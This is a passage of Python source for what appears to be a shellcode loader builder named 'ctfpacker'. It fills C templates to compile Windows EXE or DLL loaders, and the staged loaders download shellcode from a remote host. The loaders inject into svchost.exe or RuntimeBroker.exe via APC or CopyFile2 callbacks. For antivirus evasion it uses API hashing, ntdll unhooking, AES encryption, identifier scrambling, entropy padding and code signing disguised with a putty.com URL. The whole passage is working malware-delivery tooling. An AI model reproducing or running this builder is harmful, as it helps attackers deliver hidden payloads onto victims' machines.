parser_staged.add_argument("--https", action="store_true", help="Use HTTPS instead of HTTP for downloading shellcode.")
|
||||
parser_staged.add_argument("--user-agent", type=str, default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", help="Custom User-Agent string for HTTP/HTTPS requests.")
|
||||
parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
|
||||
parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
|
||||
parser_staged.add_argument("-er", "--entropy-reduction", action="store_true", help="Reduce binary entropy by embedding English text padding.")
|
||||
parser_staged.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.")
|
||||
parser_staged.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.")
|
||||
parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s --https --user-agent 'CustomAgent/1.0' -pfx cert.pfx -pfx-pass 'password'"
|
||||
|
||||
parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'"
|
||||
|
||||
|
||||
# Creating the arguments for the stageless subcommand
|
||||
# Stageless subcommand
|
||||
parser_stageless = subparsers.add_parser("stageless", help="Stageless")
|
||||
parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
|
||||
parser_stageless.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).")
|
||||
parser_stageless.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe")
|
||||
|
||||
parser_stageless.add_argument("-inj", "--inject-method", type=str, choices=["apc", "copyfile2"], default="apc", help="Choose injection method: 'apc' for APC injection or 'copyfile2' for CopyFile2 progress callback execution (default: apc).")
|
||||
parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
|
||||
parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
|
||||
parser_stageless.add_argument("-er", "--entropy-reduction", action="store_true", help="Reduce binary entropy by embedding English text padding.")
|
||||
parser_stageless.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.")
|
||||
parser_stageless.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.")
|
||||
|
||||
parser_stageless.epilog = "Example usage: python main.py stageless -p shellcode.bin -e -s -pfx cert.pfx -pfx-pass 'password'"
|
||||
|
||||
# Parsing the arguments
|
||||
args = parser.parse_args()
|
||||
|
||||
# Banner
|
||||
banner()
|
||||
|
||||
#--------------------------------------#
|
||||
#----------- Staged Variant -----------#
|
||||
#--------------------------------------#
|
||||
# Build config from parsed args
|
||||
config = BuildConfig(
|
||||
mode=args.commands,
|
||||
payload_path=args.payload,
|
||||
format=args.format or "EXE",
|
||||
inject_method=args.inject_method,
|
||||
target_process=args.apc,
|
||||
encrypt=args.encrypt,
|
||||
scramble=args.scramble,
|
||||
entropy_reduction=args.entropy_reduction,
|
||||
pfx=args.pfx,
|
||||
pfx_password=args.pfx_password,
|
||||
output=getattr(args, 'output', None) or "ctfloader",
|
||||
ip_address=getattr(args, 'ip_address', "") or "",
|
||||
port=getattr(args, 'port', 8080) or 8080,
|
||||
path=getattr(args, 'path', "") or "",
|
||||
https=getattr(args, 'https', False),
|
||||
user_agent=getattr(args, 'user_agent', BuildConfig.user_agent),
|
||||
)
|
||||
|
||||
engine = BuildEngine(cli_log)
|
||||
success = engine.build(config)
|
||||
if not success:
|
||||
sys.exit(1)
|
||||
|
||||
if args.commands == "staged":
|
||||
|
||||
print(Colors.green("[i] Staged Payload selected."))
|
||||
print(Colors.light_yellow("[+] Starting the process..."))
|
||||
|
||||
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
|
||||
cr_directory = os.path.dirname(os.path.abspath(__file__))
|
||||
src_directory = resources.files("templates").joinpath("staged")
|
||||
dst_directory = f'{cr_directory}/.ctfpacker'
|
||||
|
||||
# Copying the files from the templates folder to the temporary folder
|
||||
try:
|
||||
shutil.copytree(src_directory, dst_directory)
|
||||
except OSError as e:
|
||||
# deleting the folder if it exists
|
||||
if e.errno == errno.EEXIST:
|
||||
shutil.rmtree(dst_directory)
|
||||
shutil.copytree(src_directory, dst_directory)
|
||||
else:
|
||||
print(f"Error: {e}")
|
||||
|
||||
if args.payload and args.ip_address and args.port and args.path:
|
||||
|
||||
print(Colors.green("[i] Corresponding template selected.."))
|
||||
|
||||
ip = args.ip_address
|
||||
port = args.port
|
||||
path = args.path
|
||||
|
||||
with open(f'{dst_directory}/download.c', 'r') as file:
|
||||
download_data = file.readlines()
|
||||
|
||||
for i in range(len(download_data)):
|
||||
if "#-IP_VALUE-#" in download_data[i]:
|
||||
download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip)
|
||||
if "#-PORT_VALUE-#" in download_data[i]:
|
||||
download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port))
|
||||
if "#-PATH_VALUE-#" in download_data[i]:
|
||||
download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path)
|
||||
|
||||
with open(f'{dst_directory}/download.c', 'w') as file:
|
||||
file.writelines(download_data)
|
||||
|
||||
# We read the shellcode from the file
|
||||
with open(args.payload, "rb") as file:
|
||||
payload = file.read()
|
||||
|
||||
INITIAL_SEED = random.randint(5, 20)
|
||||
INITIAL_HASH = random.randint(2000, 9000)
|
||||
|
||||
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
|
||||
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
|
||||
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
|
||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "#-INITIAL_HASH_VALUE-# " in data[i]:
|
||||
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
|
||||
if "#-INITIAL_SEED_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
|
||||
if "#-NTDLL_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
|
||||
if "#-KERNEL32_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
|
||||
if "#-KERNELBASE_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
|
||||
if "#-DAPS_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
|
||||
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
|
||||
if "#-NTMVOS_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
|
||||
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
print(Colors.green("[+] Template files modified !"))
|
||||
|
||||
print(Colors.light_yellow("[+] Setting APC injection target process..."))
|
||||
# Handling the target APC injection.
|
||||
if args.format is None or args.format == "EXE":
|
||||
with open(f'{dst_directory}/main.c', 'r') as file:
|
||||
main_data = file.readlines()
|
||||
for i in range(len(main_data)):
|
||||
if "#-TARGET_PROCESS-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f'{dst_directory}/main.c', 'w') as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
if args.format == "DLL":
|
||||
with open(f'{dst_directory}/main_dll.c', 'r') as file:
|
||||
main_data = file.readlines()
|
||||
for i in range(len(main_data)):
|
||||
if "#-TARGET_PROCESS-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f'{dst_directory}/main_dll.c', 'w') as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green(f"[+] Target APC injection process set to {args.apc} !"))
|
||||
|
||||
# Handling the case if encryption is wanted
|
||||
if args.encrypt:
|
||||
|
||||
print(Colors.green("[i] Encryption selected."))
|
||||
print(Colors.light_yellow("[+] Encrypting the payload..."))
|
||||
|
||||
enc_payload, key, iv = Encryption.EncryptAES(payload)
|
||||
|
||||
if os.path.exists(f"{args.output}.bin"):
|
||||
os.remove(f"{args.output}.bin")
|
||||
|
||||
with open(f"{args.output}.bin", "wb") as file:
|
||||
file.write(enc_payload)
|
||||
|
||||
# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and filename.endswith(".c"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "#-KEY_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
|
||||
if "#-IV_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green(f"[+] Payload encrypted and saved to {os.getcwd()}/{args.output}.bin !"))
|
||||
|
||||
|
||||
# If encryption is not wanted (for whatever reason)
|
||||
if args.encrypt is False:
|
||||
|
||||
print(Colors.green("[i] Encryption not selected."))
|
||||
print(Colors.light_yellow("[+] Compiling the loader..."))
|
||||
|
||||
# We comment out the encryption function in the main.c file
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and filename.endswith(".c"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "#include \"AES_128_CBC.h\"" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "AES_CTX" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "Starting the decryption..." in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
|
||||
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
|
||||
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
# We copy the payload file to the path specified by the user
|
||||
shutil.copy(args.payload, f"{args.output}.bin")
|
||||
|
||||
if args.scramble:
|
||||
|
||||
print(Colors.green("[i] Scrambling selected."))
|
||||
print(Colors.light_yellow("[+] Scrambling the loader..."))
|
||||
|
||||
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
|
||||
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
|
||||
"GetContent", "NTAVM", "NTPVM", "NTWVM", "NTQAT"]
|
||||
scrambled_functions = []
|
||||
|
||||
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"]
|
||||
scrambled_variables = []
|
||||
|
||||
alphabet = list("abcdefghijklmnopqrstuvwxyz")
|
||||
used_combos = set()
|
||||
|
||||
# Scrambling the functions
|
||||
for sign in functions + variables:
|
||||
letter = random.choice(alphabet)
|
||||
multiplier = random.randint(1, 128)
|
||||
while (letter, multiplier) in used_combos:
|
||||
letter = random.choice(alphabet)
|
||||
multiplier = random.randint(1, 128)
|
||||
used_combos.add((letter, multiplier))
|
||||
scrambled_sign = letter * multiplier
|
||||
|
||||
if sign in functions:
|
||||
scrambled_functions.append(scrambled_sign)
|
||||
else:
|
||||
scrambled_variables.append(scrambled_sign)
|
||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "HashStringDjb2A" in data[i]:
|
||||
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
|
||||
if "GetProcAddressH" in data[i]:
|
||||
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
|
||||
if "GetModuleHandleH" in data[i]:
|
||||
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
|
||||
if "MapNtdll" in data[i]:
|
||||
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
|
||||
if "Unhook" in data[i]:
|
||||
data[i] = data[i].replace("Unhook", scrambled_functions[4])
|
||||
if "AES_DecryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
|
||||
if "AES_DecryptBuffer" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
|
||||
if "CreateSuspendedProcess" in data[i]:
|
||||
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
|
||||
if "APCInjection" in data[i]:
|
||||
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
|
||||
if "cDAPSu" in data[i]:
|
||||
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
|
||||
if "cCPAu" in data[i]:
|
||||
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
|
||||
if "aes_k" in data[i]:
|
||||
data[i] = data[i].replace("aes_k", scrambled_functions[11])
|
||||
if "aes_i" in data[i]:
|
||||
data[i] = data[i].replace("aes_i", scrambled_functions[12])
|
||||
if "AES_Decrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
|
||||
if "AES_Encrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
|
||||
if "AES_EncryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
|
||||
if "GetContent" in data[i]:
|
||||
data[i] = data[i].replace("GetContent", scrambled_functions[16])
|
||||
if "NTAVM" in data[i]:
|
||||
data[i] = data[i].replace("NTAVM", scrambled_functions[17])
|
||||
if "NTPVM" in data[i]:
|
||||
data[i] = data[i].replace("NTPVM", scrambled_functions[18])
|
||||
if "NTWVM" in data[i]:
|
||||
data[i] = data[i].replace("NTWVM", scrambled_functions[19])
|
||||
if "NTQAT" in data[i]:
|
||||
data[i] = data[i].replace("NTQAT", scrambled_functions[20])
|
||||
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
# Modifying the main.c file
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and filename.endswith(".c"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "sEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
|
||||
if "pEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
|
||||
if "pClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
|
||||
if "ctx" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
|
||||
if "hProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
|
||||
if "pProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
|
||||
if "dwSizeOfClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
|
||||
if "dwOldProtect" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
|
||||
if "dwProcessId" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
|
||||
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green("[+] Loader scrambled !"))
|
||||
|
||||
if args.format is None or args.format == "EXE":
|
||||
if args.pfx:
|
||||
|
||||
print(Colors.green("[i] Signing selected."))
|
||||
print(Colors.light_yellow("[+] Signing the loader..."))
|
||||
|
||||
if args.pfx is not None:
|
||||
pfx_path = args.pfx
|
||||
else:
|
||||
print(Colors.red("[!] PFX file not found"))
|
||||
sys.exit(1)
|
||||
|
||||
if args.pfx_password:
|
||||
pfx_password = args.pfx_password
|
||||
else:
|
||||
print(Colors.red("[!] PFX password not provided"))
|
||||
sys.exit(1)
|
||||
|
||||
input_binary = "ctfloader.exe"
|
||||
signed_binary = "ctfloader_signed.exe"
|
||||
|
||||
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE")
|
||||
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
if os.path.exists("ctfloader_signed.exe"):
|
||||
os.remove("ctfloader_signed.exe")
|
||||
|
||||
subprocess.run([
|
||||
f"osslsigncode",
|
||||
"sign",
|
||||
"-pkcs12", pfx_path,
|
||||
"-pass", pfx_password,
|
||||
"-n", "Signed Loader",
|
||||
"-i", "https://putty.com",
|
||||
"-t", "http://timestamp.sectigo.com",
|
||||
"-in", input_binary,
|
||||
"-out", signed_binary
|
||||
], check=True)
|
||||
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader signed !"))
|
||||
|
||||
else:
|
||||
|
||||
# Everything has been modified, we can now compile the loader
|
||||
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
if args.format == "DLL":
|
||||
|
||||
print(Colors.green("[i] DLL format selected."))
|
||||
|
||||
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=DLL")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}/ctfloader.dll", f"ctfloader.dll")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
#-----------------------------------------#
|
||||
#----------- Stageless Variant -----------#
|
||||
#-----------------------------------------#
|
||||
if args.commands == "stageless":
|
||||
|
||||
print(Colors.green("[i] Stageless Payload selected."))
|
||||
print(Colors.light_yellow("[+] Starting the process..."))
|
||||
|
||||
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
|
||||
cr_directory = os.path.dirname(os.path.abspath(__file__))
|
||||
src_directory = resources.files("templates").joinpath("stageless")
|
||||
dst_directory = f'{cr_directory}/.ctfpacker'
|
||||
|
||||
|
||||
# Copying the files from the templates folder to the temporary folder
|
||||
try:
|
||||
shutil.copytree(src_directory, dst_directory)
|
||||
except OSError as e:
|
||||
# deleting the folder if it exists
|
||||
if e.errno == errno.EEXIST:
|
||||
shutil.rmtree(dst_directory)
|
||||
shutil.copytree(src_directory, dst_directory)
|
||||
else:
|
||||
print(f"Error: {e}")
|
||||
|
||||
# Parsing the args now
|
||||
if args.payload:
|
||||
|
||||
# We read the shellcode from the file
|
||||
with open(args.payload, "rb") as file:
|
||||
raw_payload = file.read()
|
||||
|
||||
# converting the payload to hex for ease
|
||||
payload = ', '.join(f"0x{b:02x}" for b in raw_payload)
|
||||
|
||||
INITIAL_SEED = random.randint(5, 20)
|
||||
INITIAL_HASH = random.randint(2000, 9000)
|
||||
|
||||
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
|
||||
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
|
||||
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
|
||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "#-INITIAL_HASH_VALUE-# " in data[i]:
|
||||
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
|
||||
if "#-INITIAL_SEED_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
|
||||
if "#-NTDLL_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
|
||||
if "#-KERNEL32_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
|
||||
if "#-KERNELBASE_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
|
||||
if "#-DAPS_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
|
||||
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
|
||||
if "#-NTMVOS_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
|
||||
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
print(Colors.green("[+] Template files modified !"))
|
||||
|
||||
print(Colors.light_yellow("[+] Setting APC injection target process..."))
|
||||
# Handling the target APC injection.
|
||||
if args.format is None or args.format == "EXE":
|
||||
with open(f'{dst_directory}/main.c', 'r') as file:
|
||||
main_data = file.readlines()
|
||||
for i in range(len(main_data)):
|
||||
if "#-TARGET_PROCESS-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f'{dst_directory}/main.c', 'w') as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
if args.format == "DLL":
|
||||
with open(f'{dst_directory}/main_dll.c', 'r') as file:
|
||||
main_data = file.readlines()
|
||||
for i in range(len(main_data)):
|
||||
if "#-TARGET_PROCESS-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f'{dst_directory}/main_dll.c', 'w') as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green(f"[+] Target APC injection process set to {args.apc} !"))
|
||||
|
||||
# Handling the case if encryption is wanted
|
||||
if args.encrypt:
|
||||
|
||||
print(Colors.green("[i] Encryption selected."))
|
||||
print(Colors.light_yellow("[+] Encrypting the payload..."))
|
||||
|
||||
enc_payload, key, iv = Encryption.EncryptAES(raw_payload)
|
||||
|
||||
# converting the payload to hex for ease
|
||||
hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload)
|
||||
|
||||
# We write the key and IV into main.c
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and filename.endswith(".c"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
|
||||
for i in range(len(main_data)):
|
||||
if "#-KEY_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
|
||||
if "#-IV_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
|
||||
if "#-PAYLOAD_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", str(hex_payload))
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green(f"[+] Payload encrypted and saved into payload[] variable in main.c !"))
|
||||
|
||||
# If encryption is not wanted (for whatever reason)
|
||||
if args.encrypt is False:
|
||||
|
||||
print(Colors.green("[i] Encryption not selected."))
|
||||
print(Colors.light_yellow("[+] Compiling the loader..."))
|
||||
|
||||
# We comment out the encryption function in the main.c file
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and filename.endswith(".c"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "#include \"AES_128_CBC.h\"" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "AES_CTX" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "Starting the decryption..." in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload)" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
|
||||
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) &payload, sEncPayload, &pProcess)) {{"
|
||||
if "#-PAYLOAD_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", payload)
|
||||
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
if args.scramble:
|
||||
|
||||
print(Colors.green("[i] Scrambling selected."))
|
||||
print(Colors.light_yellow("[+] Scrambling the loader..."))
|
||||
|
||||
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
|
||||
